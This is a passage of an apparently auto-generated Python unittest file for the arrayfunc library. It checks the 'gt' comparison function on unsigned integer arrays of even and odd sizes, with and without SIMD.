expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code I.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_I_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'I' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'I' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'I' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('I', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('I', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code I.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_I_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'I' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'I' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'I' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('I', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('I', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code I.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_I_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'I' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'I' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'I' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('I', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('I', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code I.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_I_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'I' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'I' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'I' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('I', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('I', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code I.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_I_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'I' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'I' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'I' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
